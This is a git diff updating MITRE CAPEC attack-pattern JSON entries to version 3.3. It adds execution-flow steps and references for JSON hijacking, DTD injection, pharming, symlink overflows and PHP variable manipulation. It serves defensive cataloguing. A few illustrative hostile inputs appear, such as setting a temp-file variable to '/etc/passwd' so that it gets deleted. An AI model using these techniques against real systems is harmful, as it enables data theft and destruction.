", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Software's input validation or filtering must not detect and block presence of additional malicious command." @@ -114,7 +115,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--582f33d6-0aa7-4f34-a91e-d767a65adad1.json b/capec/attack-pattern/attack-pattern--582f33d6-0aa7-4f34-a91e-d767a65adad1.json index a2c16b32d7..9ca11f6d0a 100644 --- a/capec/attack-pattern/attack-pattern--582f33d6-0aa7-4f34-a91e-d767a65adad1.json +++ b/capec/attack-pattern/attack-pattern--582f33d6-0aa7-4f34-a91e-d767a65adad1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0e286c8f-cf8b-4748-a0cc-2df284e610a6", + "id": "bundle--596b45cd-993b-4b4b-8581-5314c0416ed8", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac.json b/capec/attack-pattern/attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac.json index d9f20394a8..dbaa2ff47c 100644 --- a/capec/attack-pattern/attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac.json +++ b/capec/attack-pattern/attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a9c17156-63ed-4474-9344-83b75528458f", + "id": "bundle--b1bd8927-fa0a-4a26-b5e8-cd5d3c09ed1a", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross-Domain Search Timing", "description": "An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain. For GET requests an attacker could for instance leverage the \"img\" tag in conjunction with \"onload() / onerror()\" javascript events. For the POST requests, an attacker could leverage the \"iframe\" element and leverage the \"onload()\" event. There is nothing in the current browser security model that prevents an attacker to use these methods to time responses to the attackers' cross domain requests. The timing for these responses leaks information. For instance, if a victim has an active session with their online e-mail account, an attacker could issue search requests in the victim's mailbox. While the attacker is not able to view the responses, based on the timings of the responses, the attacker could ask yes / no questions as to the content of victim's e-mails, who the victim e-mailed, when, etc. This is but one example; There are other scenarios where an attacker could infer potentially sensitive information from cross domain requests by timing the responses while asking the right questions that leak information.", "external_references": [ @@ -43,6 +43,11 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Confidentiality": [ + "Read Data" + ] + }, "x_capec_prerequisites": [ "Ability to issue GET / POST requests cross domainJava Script is enabled in the victim's browserThe victim has an active session with the site from which the attacker would like to receive informationThe victim's site does not protect search functionality with cross site request forgery (CSRF) protection" ], @@ -54,7 +59,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb.json b/capec/attack-pattern/attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb.json index 8da2dc3e73..e880509ac7 100644 --- a/capec/attack-pattern/attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb.json +++ b/capec/attack-pattern/attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--56d635e5-1165-4d9f-9725-04d900d90ceb", + "id": "bundle--c95119f3-5dd2-4a7d-b02e-ab8afa1f8d92", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030.json b/capec/attack-pattern/attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030.json index 2b0347c243..4fe9614371 100644 --- a/capec/attack-pattern/attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030.json +++ b/capec/attack-pattern/attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2417d054-b1d1-4b6b-ad89-bc637e6526b5", + "id": "bundle--aefe5f59-137c-4579-88e7-8a38de4416f8", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulation During Distribution", "description": "An attacker undermines the integrity of a product, software, or technology at some stage of the distribution channel. The core threat of modification or manipulation during distribution arise from the many stages of distribution, as a product may traverse multiple suppliers and integrators as the final asset is delivered. Components and services provided from a manufacturer to a supplier may be tampered with during integration or packaging.", "external_references": [ @@ -17,6 +17,29 @@ "url": "https://capec.mitre.org/data/definitions/439.html", "external_id": "CAPEC-439" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1269.html", + "external_id": "CWE-1269" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Dependencies and Development Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1195/001", + "external_id": "T1195.001" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/002", + "external_id": "T1195.002" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Hardware Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/003", + "external_id": "T1195.003" + }, { "source_name": "reference_from_CAPEC", "description": "Information Technology Laboratory, Supply Chain Risk Management (SCRM), 2010, National Institute of Standards and Technology (NIST)", @@ -42,7 +65,7 @@ "External contractors involved in the packaging or testing of products or components may install software, or modify existing code, during distribution." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138.json b/capec/attack-pattern/attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138.json index e454d9720b..c8338f01a0 100644 --- a/capec/attack-pattern/attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138.json +++ b/capec/attack-pattern/attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8d91c5b0-717f-400c-8fa1-fd11fc5c5a1e", + "id": "bundle--953e7f4e-327e-46d9-a2ab-da7fc3b13eeb", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ "This attack requires the ability to conduct deep packet inspection with an In-Path device that can drop the targeted traffic and/or connection." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5a33bee7-5ec9-4e75-9bf6-99fdaca8699c.json b/capec/attack-pattern/attack-pattern--5a33bee7-5ec9-4e75-9bf6-99fdaca8699c.json index 63687ea683..5ab011a3af 100644 --- a/capec/attack-pattern/attack-pattern--5a33bee7-5ec9-4e75-9bf6-99fdaca8699c.json +++ b/capec/attack-pattern/attack-pattern--5a33bee7-5ec9-4e75-9bf6-99fdaca8699c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--028f4da8-af8d-479b-97a1-6b7e2580ab21", + "id": "bundle--3cbefff5-8beb-49e0-b8c7-bbbf6b900432", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ "Target application server must allow remote files to be included.The malicious file must be placed on the remote machine previously." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47.json b/capec/attack-pattern/attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47.json index 9e777412c0..14021f59ae 100644 --- a/capec/attack-pattern/attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47.json +++ b/capec/attack-pattern/attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a1be0b41-b938-4d90-8b57-2b2928bf1632", + "id": "bundle--a11b9394-f32b-4eb4-a3b4-2248b19d4233", "spec_version": "2.0", "objects": [ { @@ -52,7 +52,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5b2d7149-c0f3-4b42-9c10-febe7dfd3ea5.json b/capec/attack-pattern/attack-pattern--5b2d7149-c0f3-4b42-9c10-febe7dfd3ea5.json index a6f4896c01..a1ee181f27 100644 --- a/capec/attack-pattern/attack-pattern--5b2d7149-c0f3-4b42-9c10-febe7dfd3ea5.json +++ b/capec/attack-pattern/attack-pattern--5b2d7149-c0f3-4b42-9c10-febe7dfd3ea5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c4433037-b355-4de0-be44-454aaba04cf5", + "id": "bundle--4b15a23e-4884-4365-96df-3e3e1f655ff0", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--5b2d7149-c0f3-4b42-9c10-febe7dfd3ea5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "JSON Hijacking (aka JavaScript Hijacking)", - "description": "An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit his or her malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server. There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON.", + "description": "An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit their malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server. There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON.", "external_references": [ { "source_name": "capec", @@ -43,8 +43,9 @@ ] }, "x_capec_example_instances": [ - "\n Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when he or she receives it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail.\n When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.\n " + "\n Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when they receive it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail.\n When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Understand How to Request JSON Responses from the Target System: An attacker first explores the target system to understand what URLs need to be provided to it in order to retrieve JSON objects that contain information of interest to the attacker.

    2. Techniques
    An attacker creates an account with the target system and observes requests and the corresponding JSON responses from the server. Understanding how to properly elicit responses from the server is crucial to the attackers' ability to craft the exploit.

Experiment

  1. [Craft a malicious website]The attacker crafts a malicious website to which they plan to lure the victim who is using the vulnerable target system. The malicious website does two things:\n \n \n 1. Contains a hook that intercepts incoming JSON objects, reads their contents and forwards the contents to the server controlled by the attacker (via a new XMLHttpRequest).\n 2. Uses the script tag with a URL in the source that requests a JSON object from the vulnerable target system. Once the JSON object is transmitted to the victim's browser, the malicious code (as described in step 1) intercepts that JSON object, steals its contents, and forwards to the attacker.\n \n \n This attack step leverages the fact that the same origin policy in the browser does not protect JavaScript originating from one domain from setting up an environment to intercept and access JSON objects arriving from a completely different domain.\n

Exploit

  1. Launch JSON hijack: An attacker lures the victim to the malicious website or leverages other means to get their malicious code executing in the victim's browser. Once that happens, the malicious code makes a request to the victim target system to retrieve a JSON object with sensitive information. The request includes the victim's session cookie if the victim is logged in.

    2. Techniques
    An attacker employs a myriad of standard techniques to get the victim to visit their malicious site or by some other means get the attackers' malicious code executing in the victim's browser.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "JSON is used as a transport mechanism between the client and the server", @@ -59,7 +60,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7.json b/capec/attack-pattern/attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7.json index 86f7624a62..0e0ca2bd88 100644 --- a/capec/attack-pattern/attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7.json +++ b/capec/attack-pattern/attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6b6958fa-e94b-4470-b016-b5fcfb732040", + "id": "bundle--2a7301ea-602d-427e-8fbe-98d29a82d88f", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1.json b/capec/attack-pattern/attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1.json index 32aff9d564..a3d3e67537 100644 --- a/capec/attack-pattern/attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1.json +++ b/capec/attack-pattern/attack-pattern--5c216971-78b5-4ac1-9cbe-f46fe1c632d1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--739c1694-e41d-4d7a-836a-a08d0986b66b", + "id": "bundle--2ad1ba04-2dd1-457f-8d4b-a217e0204d34", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e.json b/capec/attack-pattern/attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e.json index efb6242742..508aedb9f1 100644 --- a/capec/attack-pattern/attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e.json +++ b/capec/attack-pattern/attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--697ce665-98b3-4829-9f98-82d5030ff602", + "id": "bundle--702103f8-9d36-4c56-ba8c-4101bab43cec", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Meta", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5ce3b5e2-c554-4530-be1c-44c6579369ed.json b/capec/attack-pattern/attack-pattern--5ce3b5e2-c554-4530-be1c-44c6579369ed.json index 62987aa87c..bbc6d66c01 100644 --- a/capec/attack-pattern/attack-pattern--5ce3b5e2-c554-4530-be1c-44c6579369ed.json +++ b/capec/attack-pattern/attack-pattern--5ce3b5e2-c554-4530-be1c-44c6579369ed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7311ff2e-60f7-4ad8-a1f9-81d1426cb574", + "id": "bundle--141d2da7-35c0-4bae-99db-ae9fd105f8c7", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a.json b/capec/attack-pattern/attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a.json index 29c441d5d4..3601d5debd 100644 --- a/capec/attack-pattern/attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a.json +++ b/capec/attack-pattern/attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--354ac91b-6946-4f35-b260-688a68b12dcf", + "id": "bundle--c3008586-1884-453c-8caa-f698ccff71eb", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DTD Injection", "description": "An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.", "external_references": [ @@ -33,12 +33,13 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

  2. Determine use of XML with DTDs: Examine application input to identify XML input that leverage the use of one or more DTDs.

    3. Techniques
    Examine any available documentation for the application that discusses expected XML input.
    Exercise the application using XML input with and without a DTD specified. Failure without DTD likely indicates use of DTD.

Exploit

  1. [Craft and inject XML containg malicious DTD payload]

    2. Techniques
    Inject XML expansion attack that creates a Denial of Service impact on the targeted server using its DTD.
    Inject XML External Entity (XEE) attack that can cause the disclosure of confidential information, execute abitrary code, create a Denial of Service of the targeted server, or several other malicious impacts.
", "x_capec_prerequisites": [ "The target must be running an XML based application that leverages DTDs." ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9.json b/capec/attack-pattern/attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9.json index 86a063fb76..72856d1e1e 100644 --- a/capec/attack-pattern/attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9.json +++ b/capec/attack-pattern/attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--277964e4-88af-4b57-8288-173ef349fc84", + "id": "bundle--db74fa48-c664-4084-926c-e7bae91c7e85", "spec_version": "2.0", "objects": [ { @@ -89,6 +89,7 @@ "x_capec_example_instances": [ "\n Attack Example: Overflow with Symbolic Links in EFTP Server\n The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.\n " ], + "x_capec_execution_flow": "

Execution Flow

Exploit

  1. The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data.

  2. The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attackers' symbolic link.

  3. While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The attacker can create symbolic link on the target host.", @@ -100,7 +101,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285.json b/capec/attack-pattern/attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285.json index 720fa8206f..c066d60b4a 100644 --- a/capec/attack-pattern/attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285.json +++ b/capec/attack-pattern/attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1f445a3b-1f21-4f2c-bae9-d60d36dce702", + "id": "bundle--ccfdc8ba-bbc8-4efa-98c4-a941d5542dd2", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Pharming", - "description": "A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to his site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.", + "description": "A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.", "external_references": [ { "source_name": "capec", @@ -40,6 +40,7 @@ "x_capec_example_instances": [ "\n An online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection.\n An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims.\n " ], + "x_capec_execution_flow": "

Execution Flow

Exploit

  1. Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information.

  2. The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original website

  3. When the victim requests the URL for the site, the poisoned records direct the victim to the attackers' system rather than the original one.

  4. Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now \"farm\" sensitive information such as credentials or account numbers.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Vulnerable DNS software or improperly protected hosts file or router that can be poisoned", @@ -53,7 +54,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68.json b/capec/attack-pattern/attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68.json index 7eec572cb7..f58ef161ed 100644 --- a/capec/attack-pattern/attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68.json +++ b/capec/attack-pattern/attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--846cfb54-b037-4e2d-ab49-eac17ec136b2", + "id": "bundle--182fcdfc-aa23-4ce7-82b9-82f447c21a46", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0.json b/capec/attack-pattern/attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0.json index 2016694c18..db49d819e0 100644 --- a/capec/attack-pattern/attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0.json +++ b/capec/attack-pattern/attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bbab5459-4b1f-4a1a-b9e4-02c576b94b87", + "id": "bundle--70549659-c780-4aa6-bfc2-202fceacf23c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulating User-Controlled Variables", "description": "This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.", "external_references": [ @@ -97,6 +97,7 @@ "x_capec_example_instances": [ "\n Attack Example: PHP Global Variables\n PHP is a study in bad security. The main idea pervading PHP is \"ease of use,\" and the mantra \"don't make the developer go to any extra work to get stuff done\" applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP.\n One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user.\n Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things:\n while($count < 10){// Do something$count++;}\n Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as\n GET /login.php?count=9\n and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg.\n Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an attacker can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable.\n PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example.\n Consider another example of this problem in which a program defines a variable called $tempfile. An attacker can supply a new temp file such as $tempfile = \"/etc/passwd\". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased--a bad thing indeed on most OSs.\n Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be \"Trojaned\" (the attacker can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified.\n Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow.See also: File upload allows arbitrary file read by setting hidden form variables to match 